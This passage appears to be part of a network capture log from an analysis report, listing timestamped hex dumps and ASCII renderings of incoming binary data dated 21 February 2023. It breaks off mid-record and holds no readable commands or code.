^$}SXxm@`@@;'_H`/}q>QO4nj4+L\|2).$us,W7}l8kPw7Gy"#'AeGuDT\|biB8}DSw2a
2023-02-21 06:06:04 UTC	244	IN	Data Raw: 28 89 ae 53 75 62 d0 02 a2 8f 14 9c 16 9a a7 47 3b c2 ac d6 3d 63 18 65 11 c2 23 2c 2f e2 92 15 79 15 69 59 4a af 1c 79 c2 83 61 b7 96 aa 31 a2 e7 07 f6 84 0c 1d 97 f5 ac 13 1f 3e 33 56 41 51 d2 75 a7 92 ca 22 8e 0a 69 0d fc c6 6b 5d 15 ac 35 6d 3b b4 93 e6 83 bf 95 63 bc f1 38 29 fb 6b d6 74 ef 4c 89 04 8d 58 94 5e 80 c2 16 af 1f ee a3 f9 87 08 36 35 87 8f 5a 43 20 93 33 70 20 8d c2 07 fc 1f ff fb 7b 71 8f 51 e2 42 12 d7 6c a4 4c 04 f0 71 23 e6 4e 44 2d e6 1e 27 50 c9 3d 9e 1b 20 43 e2 fa cd c1 eb 08 a5 e6 9d a9 38 1a 40 f9 9d 12 2b 07 d8 f8 1b 89 ec bf 69 9a bf e9 43 cf cb da a6 87 da cb 84 3f 3f c1 e4 13 f7 ef 79 70 f7 cc f7 8c 38 c8 da fd ad 2b d6 e3 4c 30 f3 db c8 03 b1 8c 78 24 9d 79 4e 55 c9 6c 4e b5 59 67 8d f0 dc 63 28 4a d8 cf 2b 08 e2 6f 9b 23 Data Ascii: (SubG;=ce#,/yiYJya1>3VAQu"ik]5m;c8)ktLX^65ZC 3p {qQBlLq#ND-'P= C8@+iC??yp8+L0x$yNUlNYgc(J+o#
2023-02-21 06:06:04 UTC	260	IN	Data Raw: 69 6c 69 fa 26 f7 0b 6b 3e 23 09 e2 c4 15 1b f3 6f 58 65 98 98 36 2c 9b e2 02 a9 be 35 59 03 44 80 ad 5f 52 11 12 5d f2 c5 f9 d5 68 1e a0 38 ac ce b2 76 59 33 2f 66 f9 a8 34 8c 71 c1 9f 89 87 80 4d 5f ac b6 4e 63 73 4c 43 96 6e 8b 30 dd ce ac e0 73 d9 1f 7d 58 c8 e5 a3 c5 62 d3 72 90 be f8 4a 39 df 31 d7 02 e5 ae 69 dc 2c 51 7f 36 b1 2b eb d1 b5 af ad 5e f3 04 da 12 f0 2a 62 8d 1c e3 e7 13 52 97 3a 3b 25 51 3d d3 27 49 c4 88 61 93 d5 a6 93 0b 76 ae 79 78 23 b3 4c ba f9 c6 6d 2e 0e 5f 42 7e b3 0f d7 a7 a2 a7 e4 66 84 ca b9 19 5e 45 bf 31 e5 e6 3b 2b 61 9b 59 4b 07 3f ac d7 8e cb 4a bc 3e 73 68 4a 2e 03 50 5c dc 2f 42 38 3e 79 9f fe 86 86 7d 5e d8 12 6c 37 ea 63 33 a9 d1 48 8a 16 d8 07 12 ac e8 6e b5 d8 50 ad 3f 82 e3 ee 24 d8 4b ea aa c4 df 69 9b 91 78 d5 Data Ascii: ili&k>#oXe6,5YD_R]h8vY3/f4qM_NcsLCn0s}XbrJ91i,Q6+^*bR:;%Q='Iavyx#Lm._B~f^E1;+aYK?J>shJ.P\/B8>y}^l7c3HnP?$Kix
2023-02-21 06:06:04 UTC	276	IN	Data Raw: 32 39 75 ce bf 33 64 9c 1f 96 8e 3f c6 71 1a 7f 56 1c c9 9e 7c 89 ec 64 c8 a1 f9 60 d8 fb 0c ba 39 d7 68 e8 90 4c f0 3e 39 bd 5f b2 41 54 41 dd 89 33 23 92 aa ea 95 a0 b9 8d 86 85 df 75 1b 24 73 a6 5e 5a be cf f9 3d e3 8a 7f d1 2e b8 55 3d 12 b5 dd 91 be 81 4e 5b 8d 20 d2 e2 95 c3 8a fe e4 89 2c 09 fb d2 5d 1d 94 2e 8f 47 13 00 c6 2b 1c 9c 69 2d 33 3e 48 96 fa 60 e0 94 3d e4 7b 19 44 91 de bd 02 e2 17 eb 99 07 03 cd 3f 58 f6 ca 05 e1 35 ce 89 0d 95 26 7f 95 4b f6 f8 fa e6 01 59 84 e4 1b 18 3f 32 54 2c 7e b0 c4 54 47 82 d2 54 78 b0 e0 53 05 f3 44 49 18 11 38 77 90 74 a0 47 62 e9 f7 bd 3f 96 82 e5 75 ca e8 cd 7c 96 23 17 3f f6 13 9a 57 05 ca 2e de f0 21 ec f1 4e 52 25 6f 7e 2f bc c2 df 8a 22 16 71 6d c5 d8 3e b4 67 59 be e7 3b 52 c5 73 a4 60 78 10 a7 9e 5a Data Ascii: 29u3d?qV\|d`9hL>9_ATA3#u$s^Z=.U=N[ ,].G+i-3>H`={D?X5&KY?2T,~TGTxSDI8wtGb?u\|#?W.!NR%o~/"qm>gY;Rs`xZ
2023-02-21 06:06:04 UTC	292	IN	Data Raw: ee 74 13 37 fe 21 5f 0a 27 c2 61 bc dc 81 20 5d a9 dc 86 be 0a eb d7 b8 ba c3 a0 0f 14 a4 1d 58 91 8d 6b 53 1c ce c7 cd eb 67 50 fd 29 2f 44 4f 32 cb c1 16 e7 a1 f4 33 4c 6f 25 df ee 07 3d 56 ea cc f0 8c c9 8c ca a6 a4 5f 9c b1 bd 60 e5 16 90 c4 53 76 d3 c3 a5 ea 66 fd f6 47 35 92 9c e3 31 e1 5d e5 3e 68 82 b8 46 75 78 b3 14 42 5f 78 ad 70 7d 67 c6 9f 83 35 f7 cd 50 b2 4c 75 52 59 af be 7f bd 56 1b 67 cc b5 2f de 05 a7 7a d5 3e 55 6b be 40 e9 38 b1 dd 92 bb 8e 9a ef dc b7 26 3c 89 de b4 42 5b 87 57 07 11 75 35 f2 3b 98 0e cd 75 b4 d6 2f dd 85 06 05 3e 76 ef 01 cf c8 d9 79 91 e5 22 13 d7 72 34 b9 3f f6 91 5c 05 fb 2f 0c 9c f7 a3 bc ef 7e 0e 74 48 f7 61 ed 13 59 70 fd a7 7e 5b e8 12 23 d1 2f 4e b5 64 d9 02 88 9f 1a 17 b9 96 f5 7a 9e ef ec 4e da 3f 90 ce 30 Data Ascii: t7!_'a ]XkSgP)/DO23Lo%=V_`SvfG51]>hFuxB_xp}g5PLuRYVg/z>Uk@8&<B[Wu5;u/>vy"r4?\/~tHaYp~[#/NdzN?0
2023-02-21 06:06:04 UTC	308	IN	Data Raw: f2 23 e9 c1 76 cd ba 96 7e a3 14 c2 80 63 6f 8d f1 3e 2b 58 9c f0 0d 60 9d 71 c6 e2 4e bf 0d e8 42 55 cd 9d 2c b3 7f 89 f4 c9 c0 e1 51 8f e4 73 cf bc 18 82 76 e0 21 9f 78 30 c5 15 9a c7 56 62 0e 26 b6 a1 de 69 23 20 ab e4 e3 97 36 9a aa 87 40 a5 a5 f2 8c c0 28 37 2b 4a 93 9d bc a2 44 ae 32 77 68 d4 71 04 c3 94 ef 44 f8 a9 d6 df 57 6d 81 04 04 96 fd 4b 24 3d b9 5e c8 f2 99 41 55 6b f6 85 14 f3 84 0c 28 6d a4 73 07 e3 1b e7 04 c8 87 b1 e8 59 8a 74 bb 4f f9 e4 78 4f fd b7 91 b4 06 a1 39 42 9e dc 93 e9 fa b0 a3 93 21 44 9c c0 a6 fb 35 bf 03 d7 92 51 4b b0 65 e6 20 d8 eb dc 6f f9 17 70 c0 a3 b2 83 5f 1b 5a 07 69 30 fd d0 ae 51 2f 4b 43 ec c0 63 4b 92 82 33 8d f2 6c ba fe f1 e7 0b 44 1b ad ea e2 6e f5 35 3b 48 af 06 67 de e6 0a f3 68 00 8b be 94 46 03 0b 15 7c Data Ascii: #v~co>+X`qNBU,Qsv!x0Vb&i# 6@(7+JD2whqDWmK$=^AUk(msYtOxO9B!D5QKe op_Zi0Q/KCcK3lDn5;HghF\|
2023-02-21 06:06:04 UTC	324	IN	Data Raw: 8c 3d 09 ef 7e 30 cc a0 88 4d ea 5f 38 6c 90 8a db ca 81 b4 9c 08 21 d2 78 0a 77 e7 dd 26 6f 86 3f 5f 36 e8 13 b5 27 9e c9 95 55 c8 df 39 c9 06 6d 3b 6a ce be e0 95 f7 0c a6 27 5d e6 99 df 4d 96 fb 5e c1 25 68 3f 3b 83 ae 72 4e e4 12 16 59 6b e9 1d b7 9c cf a2 21 ac 4c b9 4c af cb 2d ce 68 f8 f2 cd f1 36 f2 5f 45 04 96 f8 8d d3 87 ee f1 e3 72 25 b7 16 75 f3 dc fb 37 53 e6 7a 52 66 63 cc d8 94 3e 78 e9 ca 70 c9 73 0e 3e 55 b3 39 3c a0 80 dd 8b fe b1 31 7d 16 a3 2d 2e 92 6d a6 2b 38 7f 39 4e ca 2e a4 d5 2f 9d 35 42 41 b4 d5 6d 64 bf dc 6a 4e 09 ec ff 73 7d 2e 8f d5 8f 91 26 00 67 95 e3 9e 14 8e 3c c4 9c 71 45 78 9f ca 60 78 9b 13 6e 7b 72 48 1e ef ca e3 8b 0f 78 bd 68 0d ef a5 95 48 2e dd 87 48 df 22 64 22 37 08 fe fe ce e0 d9 5f 58 78 61 2f 99 cd 3f 58 72 Data Ascii: =~0M_8l!xw&o?_6'U9m;j']M^%h?;rNYk!LL-h6_Er%u7SzRfc>xps>U9<1}-.m+89N./5BAmdjNs}.&g<qEx`xn{rHxhH.H"d"7_Xxa/?Xr
2023-02-21 06:06:04 UTC	340	IN	Data Raw: 46 e8 fc 4f dc be 2b b0 ee 54 16 ce 7d 06 b2 27 cc 98 ef db dd 89 1f 7b 80 11 c2 72 54 5f d9 41 65 81 0a 4f 8c 24 d0 d3 29 e3 2d 6d f4 0c 8d 45 26 66 15 5b 92 34 f8 db e4 4c e9 b0 4d 08 15 26 21 3c e5 06 12 c3 ae 22 32 b5 15 ab 34 6b 9a bb 57 50 a3 64 87 90 c4 13 3c 1f ac 62 cf f0 70 bc 14 ee d0 fe 55 03 bf 95 e1 b4 8c 59 c3 89 88 3c 4e 8f 6b 41 76 46 35 bb 27 ab b0 79 6a 0e 5f 5f 9e c2 77 7f 37 56 ef 03 59 64 5e 41 d6 66 7f 7a be ba 23 54 66 41 f3 37 43 41 68 95 f0 66 f5 01 3e 19 96 73 d7 72 1e 9e b3 ec b0 db ba 94 b2 ea 83 a4 a6 d4 b1 c2 67 0a 6b e6 0e 82 89 69 0c af b6 c6 ef d0 2e 2a 8b 6e b2 68 67 13 bb ca c4 98 73 cd 89 d2 42 13 d8 5a cb 15 23 7b a2 6d 16 b1 65 bb 38 89 c1 5f d8 3e 74 38 eb cf db 80 8e 02 85 8e 43 a9 7a 59 81 4a 9b 3d de 35 e3 09 70 Data Ascii: FO+T}'{rT_AeO$)-mE&f[4LM&!<"24kWPd<bpUY<NkAvF5'yj__w7VYd^Afz#TfA7CAhf>srgki.*nhgsBZ#{me8_>t8CzYJ=5p
2023-02-21 06:06:04 UTC	341	IN	Data Raw: 2a ee 4e 38 c8 b2 5f f2 34 36 18 73 f4 40 18 3f b4 15 71 96 9b 4f d2 12 5b d6 9a fd e0 41 61 33 52 52 ff 58 b0 f3 a0 80 da ff 51 3e 7a 21 03 4f 98 a3 ea 62 82 a6 62 2f a1 66 31 5c f0 b9 c8 80 23 3e 1c 9e 63 8e e2 2c 3d 2c b6 be a3 b2 ae 1f 13 d3 8d 89 32 de c0 a6 47 66 c8 5e bb ce 98 b5 27 48 6d fa c1 37 d5 61 44 6d f4 a1 a3 b8 82 41 23 12 31 d3 29 65 79 9e 08 95 3f 42 f0 74 d8 cb b7 e8 b1 f8 0c b2 46 6f d1 50 74 3f bd c7 f6 97 29 fb 12 3f 90 3c 63 0b e3 be da 60 f1 72 20 bf 97 44 08 08 6d 37 37 63 36 e1 54 b0 91 1f d5 5b f9 90 a2 86 e7 d6 0d f4 af e8 e1 cf bf cb ac 7d d3 87 39 02 ea 7d be 4f 40 90 4d af 39 32 f9 22 b1 8e 53 70 34 0b a6 60 a3 28 d3 ec 5a 91 0c d5 c0 ae e3 30 e3 1b 5c f1 bd da ce cf 47 8b e9 5c 20 81 7e cf 53 e4 ae 1f 23 e9 93 1a 7f ce 7e Data Ascii: *N8_46s@?qO[Aa3RRXQ>z!Obb/f1\#>c,=,2Gf^'Hm7aDmA#1)ey?BtFoPt?)?<c`r Dm77c6T[}9}O@M92"Sp4`(Z0\G\ ~S#~
2023-02-21 06:06:04 UTC	357	IN	Data Raw: c6 2f 52 e6 58 50 e0 f7 f7 ff df d4 76 b5 8b 1b 62 46 5d 88 f7 a8 b0 72 91 34 a1 25 fb f9 67 2d c2 0d 4e a1 dd 19 4d e8 82 c1 ec d5 4f 24 35 cd 12 2b 61 45 76 3f 39 47 be ad 1c df 84 db c9 4b 16 90 b6 e7 77 e6 16 fc 63 a1 f8 70 5e 38 ae 44 d5 c2 0f db 81 a6 0c 6b bf ca e7 c3 6e fc 0a d3 22 2f d2 94 fe 1a e9 74 9b 9c 60 69 c2 16 ae 0f dc c0 e3 67 e3 d9 2a bf 18 15 2d 35 fa cb 47 92 2e f4 8c 9d e7 e5 e9 19 b2 10 97 32 79 76 fc f9 c7 be 4b 9e f4 34 3e c1 ba 51 01 d5 01 bb 08 3f bf 9b 5d 01 41 8c 9c 70 84 1e 59 41 48 95 0e 24 86 ab 64 4c 08 66 e8 84 17 bc d5 3a 4c b8 64 3c 32 ee 4f 90 96 9d 4c 1f 0f 3f d2 3d 8d 91 fb 99 41 d0 ad 83 88 6e 1a c0 14 d3 85 d8 c6 6d a7 42 7e 05 d5 3b 16 e3 2e 62 4c cf b5 6d 38 a9 29 f3 60 97 06 cf d7 3d a2 68 e4 02 36 c7 68 61 7e Data Ascii: /RXPvbF]r4%g-NMO$5+aEv?9GKwcp^8Dkn"/t`ig*-5G.2yvK4>Q?]ApYAH$dLf:Ld<2OL?=AnmB~;.bLm8)`=h6ha~
2023-02-21 06:06:04 UTC	373	IN	Data Raw: e3 aa c0 a2 46 fe e5 ca 28 75 7e fd 69 63 82 ff 3a ee 57 d4 f2 a4 6f 03 4b 8f 1c a2 ab 71 02 5f 9f 74 60 a2 af 8d 57 51 27 aa 0b 7e e0 fa bb 8d d5 6b da c8 69 5a 4f 83 de 38 bc 6f 75 a3 e2 ff 90 09 91 b5 ec 1e 9b 84 98 fe 5d 0e 79 db 91 3a ef 10 93 45 1e 10 bf f4 06 87 2d 1d 59 3a af 87 e2 af b2 44 3e 58 82 67 66 01 be fd 86 f3 f8 c0 3a 06 ef 1e 44 aa b9 0f de cb ee 73 e1 8a 33 22 b3 9f 70 6e ee 73 62 e6 9d c3 22 40 09 e7 79 15 28 e9 bf e2 a2 a7 12 87 83 1a 51 0e 48 61 c6 d6 7c ec 96 de e7 13 af 98 bc 09 16 db 46 11 97 65 c7 f3 29 db f0 33 b0 c2 a8 36 19 31 21 51 94 04 54 74 f4 f1 2e ee 1d 7f 4f ca 37 1b ce 0e ff 84 e7 13 19 ba 2b fb 93 d6 92 8d 4e f5 09 14 0b c7 09 2c f2 17 87 0a 43 31 1a 37 94 de 75 1e 34 8d 7f 42 82 a5 3f 49 65 32 ac bc 94 88 96 fe 03 Data Ascii: F(u~ic:WoKq_t`WQ'~kiZO8ou]y:E-Y:D>Xgf:Ds3"pnsb"@y(QHa\|Fe)361!QTt.O7+N,C17u4B?Ie2
2023-02-21 06:06:04 UTC	389	IN	Data Raw: bd 0f 58 5f 37 08 c7 35 a7 04 7a 7b 90 7b db 16 b0 e1 c8 14 12 2e 9f 45 5f 38 89 9b 27 73 e9 bb 7d 1a 7f 0a a7 f2 c9 7f 2f d5 8b a5 51 3c ed cc e2 1f 6f f1 7d bf 9b b6 d5 bb 28 74 4d 20 56 a0 b8 83 9e 5a 93 f4 77 02 f1 5a 07 f8 1b e2 8f cc d6 af 3c 3b 67 c3 34 89 60 ae 59 c8 f0 4a e2 11 ad b3 bf 50 5d f1 97 c1 1f 6a 39 e0 97 cd d4 ba 54 be 0f b8 83 30 25 d8 ee 38 c3 dc ed 3d cc 8d be 47 c4 86 7b b8 29 4d 60 d3 96 14 1e 69 4f e6 52 e9 57 1c 54 26 73 ee 5b 3c 9b 1e f7 27 70 78 17 5b 63 b5 89 16 8a 67 cc bf 1b ec 13 98 cf 1f 0d 2d d2 94 c2 78 39 78 2d 0b 43 4b 49 78 78 9d 5b e5 9f d0 1f 7f 00 d1 97 e6 d4 ec 0d 20 47 3a 09 6d d5 61 5c 72 7a 4a e8 9a 35 dc f5 3e c1 e5 d5 73 91 6a ff cb 77 2f 31 d2 53 f5 50 ee 7d 8c c1 df 16 6c 93 7b 59 97 21 ca a3 8b c5 f4 5e Data Ascii: X_75z{{.E_8's}/Q<o}(tM VZwZ<;g4`YJP]j9T0%8=G{)M`iORWT&s[<'px[cg-x9x-CKIxx[ G:ma\rzJ5>sjw/1SP}l{Y!^
2023-02-21 06:06:04 UTC	405	IN	Data Raw: 8c fd 73 13 8c 86 5d ff 6f 97 da c7 ef 93 d8 7d c4 98 7b 35 99 fc ba bb 14 17 07 19 76 c9 c9 23 ed e5 83 c2 dc 9b 1c 93 3c 8d 58 d9 27 38 fa 10 a7 db ff d8 20 25 8d 4a 66 31 cf ba ea 89 17 2c b4 e8 fe 42 7a 03 b3 69 d1 c8 26 27 43 1f a1 48 0b 6a 76 46 91 56 b5 97 81 13 cf 20 1d 69 cf f9 7b 11 2c 08 af e5 74 f3 00 e6 8e 8e 40 fa 97 1a 2f cb 23 c8 dc b2 10 a7 e9 05 94 0f 33 62 b1 6a 26 32 3b ce e2 16 7e 1b b3 c6 02 0c 33 7a 69 69 f8 c2 c9 22 75 46 9c bb c3 b7 06 53 7e 94 df 63 a7 c9 53 64 da cd 79 3a 67 37 3f ae f4 30 7c 6f 7f d4 bf 9f 65 dd b8 95 48 15 37 91 94 7d 9c 9a f7 3f 48 96 ba ce 8f 45 b7 05 e5 30 0e bd 83 f1 48 14 1f c4 2b 7e 22 d5 61 af f8 3a ee 22 1d 5e 2f 29 13 b7 62 f3 cc 47 28 09 16 f0 d9 17 4b 36 f6 d8 51 bf 59 9d a8 6b 47 09 3d f5 8a d6 8b Data Ascii: s]o}{5v#<X'8 %Jf1,Bzi&'CHjvFV i{,t@/#3bj&2;~3zii"uFS~cSdy:g7?0\|oeH7}?HE0H+~"a:"^/)bG(K6QYkG=
2023-02-21 06:06:04 UTC	421	IN	Data Raw: 32 ef d1 ad 31 a7 13 47 12 76 17 32 ff 6e 04 4f 56 3c 42 2a f0 24 65 f3 f6 92 78 7c 00 76 14 f1 d9 7a 20 a7 35 66 91 ee 95 c6 3b 99 9f 4c 09 eb 4f a7 d0 51 36 ed 5c 8e ee a8 ed bc c9 15 c1 42 5b 91 ca cf c5 9c ca 38 c9 9e 84 60 86 dd 36 61 b0 72 1d fe 5f 6e 31 4a ea 0c 63 7b 07 22 f9 32 0e a1 69 5e 4c 9d f5 85 f8 c9 a1 8c 49 2c c2 d1 65 14 42 07 34 30 0f f6 c6 a2 61 31 43 d2 af b2 e1 5d 1a 77 7f fc 62 e4 ee 0a 5c d6 fd 60 ce 1c 39 a6 ff 70 61 f8 ee 1c be 08 16 3c e3 52 27 2e 1d 1b 31 1e ec ca b6 d6 14 bc 5b fb d1 3e e3 11 45 7a f1 d4 24 cd 25 e5 64 15 cb 0a 65 51 df 66 cf 9c f4 03 0c f9 5d 85 c6 d5 76 86 dc 2b e7 92 a2 1f 4a b9 96 44 8e dc 49 e2 94 1b 0c 99 9f cc 88 d3 4f 98 7b 71 18 01 a1 e7 58 69 e7 49 f5 a8 f1 3c d2 ee cb cc 07 9f d8 24 6b 8a 4d 5c 2f Data Ascii: 21Gv2nOV<B*$ex\|vz 5f;LOQ6\B[8`6ar_n1Jc{"2i^LI,eB40a1C]wb\`9pa<R'.1[>Ez$%deQf]v+JDIO{qXiI<$kM\/
2023-02-21 06:06:04 UTC	437	IN	Data Raw: 4f 42 cc ff d6 84 da 93 bb 24 76 ee 60 d2 c6 df ec 4b 3f 4c 95 e5 5c ae cd 4d 61 b5 e7 57 4a c7 7a 72 6a 7d 06 03 fa 4c 64 d4 cc bb c4 3a 6d e7 d2 3f c1 fb 78 53 c2 5e e7 bb 38 2c dc fd bf 42 fb 6f 97 da 7c f1 f7 24 2c 35 c5 b5 69 28 6d a2 39 5c f0 d4 e2 5d cd 5e 16 96 45 0a 68 d3 0a f1 fb 23 f0 4b af a0 6d da 11 f4 9e 74 71 66 e1 73 c4 dc 82 c9 5c 7f 9a bb cb ba 58 b8 f1 3d f9 39 f9 0c 6b 18 ca c8 ed a6 b8 25 de e0 ca 81 23 04 18 9d a3 af eb 2e 6e a7 85 d2 7e 6a 1a 5f ca e6 70 5a e9 2f d2 c7 dc 59 54 bf 01 d7 0d 61 34 37 8b f2 78 d5 2c ee b4 a8 32 64 62 2e 8f 2e b8 23 b4 e7 89 60 11 67 32 e2 7a 2c c5 6d 5e 6c 4f 3f c3 1c 87 70 7e 5b fe 60 d6 9a 5f b8 6f 6f a7 e1 7d 30 ad 53 0d 98 a0 68 c6 1c e1 e7 a4 3f f9 41 d0 0c 5d de 08 3f a0 e8 f4 0f 9e 68 2d 64 4b Data Ascii: OB$v`K?L\MaWJzrj}Ld:m?xS^8,Bo\|$,5i(m9\]^Eh#Kmtqfs\X=9k%#.n~j_pZ/YTa47x,2db..#`g2z,m^lO?p~[`_oo}0Sh?A]?h-dK
2023-02-21 06:06:04 UTC	453	IN	Data Raw: 1b 22 4d 7f 99 27 9e 41 c5 a8 99 5c 38 25 8b 93 71 d5 7f bf d4 54 32 d6 93 72 e0 16 ad ca d5 10 f4 96 83 d6 6d 7c b8 3a 95 0b be f3 69 fb ae cf 3e 09 35 66 c8 2f 20 58 a2 9a 56 c3 c5 28 fe fb c8 0b 8f 76 76 68 6d 46 a5 e4 3e d1 26 63 29 dc df 9f c2 37 b1 3c 2e 55 61 a6 44 29 f1 27 9b 90 9a 54 c9 f8 d0 ef d8 95 b9 72 51 76 31 37 87 9e 63 d0 a7 10 86 ef bf 43 6d 5c 0b 57 bd 1e 50 73 6a 3b 09 39 f9 94 7a a6 22 d9 ba 15 df 33 a9 82 e0 bc 44 97 af 14 d7 63 23 d9 a6 a3 46 e1 96 3b a8 1d 4f c1 da 4d 8d b9 7b ce 20 33 60 2a a1 2a 26 f4 2a 94 f0 c3 48 9d 31 75 8a 14 9e aa 13 50 6e 03 ed 16 56 a4 e5 0e 65 4e e0 2b f6 1b 4e e3 c3 d6 6d 4c ff f3 9c 9a 55 da 78 2c 88 e6 8d db 23 06 be 7e c7 5a bf 76 de 5e cd 63 5b b4 0a 75 de 86 f8 27 cd c3 f9 95 0e 0a 3b 65 e0 99 1d Data Ascii: "M'A\8%qT2rm\|:i>5f/ XV(vvhmF>&c)7<.UaD)'TrQv17cCm\WPsj;9z"3Dc#F;OM{ 3`*&H1uPnVeN+NmLUx,#~Zv^c[u';e
2023-02-21 06:06:04 UTC	469	IN	Data Raw: 0d 25 fd ed 8c fd 9e c7 fc ca 14 c2 6e 14 63 36 7f 3d 8d df d6 51 57 75 91 14 b9 6c fc ef 0c 63 9d 64 ea ff 7e a9 e9 0d 38 c0 66 df 56 2e 1d fd c4 63 f5 d7 a8 5f 5f 87 c3 7c 55 ac 4d 13 70 fe 7d 00 6b e7 1d bc 79 6b c8 8d a7 96 3c fb ba 80 16 8b 1a 1e 0f f1 26 67 6b 2e 87 5d a6 51 74 da 89 23 5f cb f0 ce 48 e2 f7 64 2f f4 92 75 e9 1e 5d 8e 92 77 1e af 96 4d 63 4b e9 71 0c 57 be 67 cf 8a 2e 8e 1a c6 d1 3d dc 01 2d 1b 59 f4 9c cf f3 73 85 c0 30 14 03 91 6d 09 e1 e8 ad 31 0c 5e 1f 86 ea b6 eb 4c 68 0d 27 fa a0 0c 7e 9a 6d 68 16 2a f1 52 a3 03 d3 fe b1 24 cc ef c3 40 cc 9c 41 07 52 f8 57 62 00 5a 59 ec b8 fe 01 c5 a1 d7 d8 70 61 14 1f ef 0b 51 ef 1e cc c3 37 1d 1c 29 be c4 d9 fc 53 74 c9 47 e2 e7 7e 8a 77 77 8c d0 fb b0 07 83 f9 ef c9 08 1c 84 e9 c1 dd 88 5e Data Ascii: %nc6=QWulcd~8fV.c__\|UMp}kyk<&gk.]Qt#_Hd/u]wMcKqWg.=-Ys0m1^Lh'~mh*R$@ARWbZYpaQ7)StG~ww^
2023-02-21 06:06:04 UTC	485	IN	Data Raw: 2f 6d 41 73 91 17 f7 b4 2f 90 a8 3f 91 bc 86 42 3a 3f 36 a0 2c 98 f5 85 fd c6 50 b0 3d 94 45 47 e4 48 ec ce a0 b2 51 8f 05 87 4f e3 7f 69 2d 93 fc 4f 91 90 58 8a 59 c3 07 a2 d6 d7 63 f0 20 ed bf 5f 6a e3 27 2e e2 76 e1 2a 82 46 ce c6 d8 b0 11 d9 b3 d5 0c 5c ea c9 e3 45 5e 9c 12 59 ce 93 cf fd 59 3f 71 29 3e 41 a5 38 8a 1f a7 a7 fd 01 33 bc ab b0 28 7d 8b 85 c4 0e c4 5c 5e 21 2c eb cb 87 63 bb 89 11 84 dd eb a8 5c ca ed a2 a8 f2 92 24 d1 79 29 96 21 96 1c 16 14 d4 f8 03 f1 44 da 2d 62 eb be 18 9e fc aa e0 dd cb 11 ac db d5 88 fa df 54 ce a7 88 b1 c1 bc 92 70 81 99 7c 68 68 e3 f4 fd c3 b8 cc 08 a4 64 6a 0f ab a6 ca 13 30 72 07 a2 d9 69 dc d7 5d cb cf a3 a3 d9 e3 b7 9a 63 f3 0c 79 d0 ff 22 a9 57 ff a1 21 9b ca b9 86 58 ac 0e c4 30 e6 dd 43 1a 9b 8d 78 29 56 Data Ascii: /mAs/?B:?6,P=EGHQOi-OXYc _j'.v*F\E^YY?q)>A83(}\^!,c\$y)!D-bTp\|hhdj0ri]cy"W!X0Cx)V
2023-02-21 06:06:04 UTC	501	IN	Data Raw: 36 5d 17 e5 98 bf fc 24 0d 02 6b 55 6f 3f c5 8e cd 89 d4 2a ec e5 56 c2 56 3c bd 06 63 bc 24 f4 bf 5f 6a d5 7d c6 b0 a1 55 85 8a a8 10 b4 b6 dd 61 8a e8 2d 32 66 05 e3 a1 3a 9b da 39 e6 5c 96 75 c5 fc db 06 ec 83 2a d0 51 71 a2 f1 7e 14 7d d6 ee a5 bf fd 0c 8c 74 22 b8 5d f1 19 b1 e9 b6 cc fb 75 95 f0 7a 3d 8e 68 5f 66 e3 39 19 8c f7 9b 91 3d 68 22 4b a7 79 73 ed f1 44 42 7d 0c e9 ce 55 63 69 cd 0f d2 8f 4b a3 1d 32 82 ca 94 26 1a 54 55 49 4e b6 24 e5 fb 1e b6 7e 19 45 e1 92 1f c8 76 d8 31 f1 eb 0e 44 9b 07 70 f3 f0 06 6c 5a 53 f1 7e 3a 81 f1 95 25 44 9a a5 32 d3 e7 18 f5 be 8e cc 92 50 61 c6 81 74 26 fe eb e4 d2 62 5b 76 08 0d e3 e8 19 11 62 e5 0e 52 e3 7a 96 5b fa 22 0c ee 3b 01 37 ab b9 ec b9 77 95 3d ef 95 50 5f 76 81 fe 95 2d ac 8a b9 c3 d9 dc ed 6c Data Ascii: 6]$kUo?VV<c$_j}Ua-2f:9\uQq~}t"]uz=h_f9=h"KysDB}UciK2&TUIN$~Ev1DplZS~:%D2Pat&b[vbRz[";7w=P_v-l
2023-02-21 06:06:04 UTC	517	IN	Data Raw: 8f 90 60 26 3c 8d 64 dc d6 22 5c 67 4f a0 d6 e3 39 8b 42 fc f8 dc b4 14 a3 03 07 11 79 7c 5a 50 e8 3f 12 b2 d2 8e a6 d3 4a 38 da 76 f0 ed 98 1e 03 bc 8a a8 0d 0c e6 47 ed 32 e6 4c 39 8e 94 84 e6 7f 1f 6a ef 03 2b d1 ff 37 83 35 75 a9 c8 29 6e 61 d0 20 2b 6a a7 e8 f0 e1 92 10 c7 06 2e 61 9e a0 45 cc 7c 50 4f 5c f3 2a 26 2e 4e 60 ca 99 1f a4 29 ef 24 58 d0 fc aa 5c fa a1 e0 3e 16 33 fb 4a 1e 7a 26 b2 29 c3 92 a7 e1 be 84 df 90 c1 aa 7f 2e 06 3d ef e9 dd 7b 8b 4f 85 af d9 7e 44 99 8f 13 53 d8 eb a6 47 ff 4f d3 69 d8 ed c5 79 dd 9f 3c 5e e6 25 58 34 25 ba 7f 2a 20 9c 34 57 b0 a1 83 b9 b8 21 81 cf 83 2e 13 74 b8 8e 1b 45 a6 b4 0b c2 c1 26 63 33 4f 7d eb a8 59 d7 c3 c5 05 6b 78 57 2a c3 90 61 16 3c 3d 70 04 85 c3 13 f8 fb 45 5a 60 51 e6 28 b4 b7 73 bb df 66 ec Data Ascii: `&<d"\gO9By\|ZP?J8vG2L9j+75u)na +j.aE\|PO\&.N`)$X\>3Jz&).={O~DSGOiy<^%X4% 4W!.tE&c3O}YkxW*a<=pEZ`Q(sf
2023-02-21 06:06:04 UTC	533	IN	Data Raw: 43 91 cd bf 82 96 5f 0e be c5 05 d4 95 0b b2 64 59 06 03 1a ce b0 3e d1 8a f3 af 2c ff fb 50 eb 37 fe 12 f9 41 3a 04 ae d7 21 39 4f 9d 65 69 e7 b8 32 f8 32 fa ee 27 d8 79 55 95 18 93 83 88 5c 7e 4b f7 8b 06 6a c2 0d 88 b3 28 c0 7d fc 57 1a fc d7 50 7b ff 26 5b e3 6a 98 35 ea 1f 37 6f f4 63 ce 42 2f 5e 3f 9c cf d2 c7 f6 28 4d 3e 89 a1 cd 12 94 6e 68 60 d4 3d 1f f9 61 56 44 26 8a 73 d2 cf 88 03 33 07 d0 67 c6 48 82 76 09 82 56 73 1c 0f 92 6c d1 9b 29 c3 13 89 25 e8 8e 9f 46 a7 ce 02 6a d4 e3 b9 51 f5 1c ab 41 11 4c db d6 44 dc a1 66 1a dc 85 f8 39 49 9a f2 3e f7 59 a9 35 17 9b 23 4a 5c 1f a1 4b ae 4b 25 0f 2a bb 98 72 ed 08 56 6f 22 d8 9c bd 90 9e df 7f e8 73 f9 20 